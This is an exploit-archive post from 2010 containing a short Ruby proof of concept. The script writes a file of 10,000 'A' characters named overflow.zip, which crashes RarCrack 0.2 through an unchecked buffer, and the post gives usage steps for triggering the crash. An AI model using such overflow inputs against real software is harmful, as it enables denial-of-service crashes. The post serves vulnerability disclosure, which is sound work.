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[dos / poc] - RarCrack 0.2 Buffer Overflow POC

Posted on 20 September 2010

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RarCrack 0.2 Buffer Overflow POC
================================

#!/usr/bin/env ruby
#  overflow.rb
#
#    __________  ____  __  ______  _________
#   / ____/ __ / __ / / / / __ / ____&lt;  /
#  / / __/ /_/ / / / / / / / /_/ /___  / /
# / /_/ / _, _/ /_/ / /_/ / ____/___/ // / 
# \____/_/ |_|\____/\____/_/   /_____//_/  
#                                        
#
#   Title:      RarCrack 0.2 Buffer Overflow POC
#   Date:       19.09.2010
#   Author:     The_UnKn@wn
#   Email:      the_unknown [at] group51.org
#   Twitter:    @The_UnKn0wn
#   Homepage:   http://group51.org 
#   Software Link:  http://sourceforge.net/projects/rarcrack/files/rarcrack-0.2/%5BUnnamed%20release%5D/rarcrack-0.2.tar.bz2/download
#   Version:    0.2
#   Tested on:  openSUSE 11.3
#   CVE:        none
#
#   Impact:     RarCrack doesn&#039;t check the length of the archive and while cracking it crashes.
#
#   Usage:
#       $ ruby overflow.rb
#       $ ./rarcrack overflow.zip
#      
 
text = &quot;A&quot;*10000
 
File.open(&quot;overflow.zip&quot;,&quot;w&quot;) do |l|
    l.puts(text)
end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-20]</pre></body></html>

 

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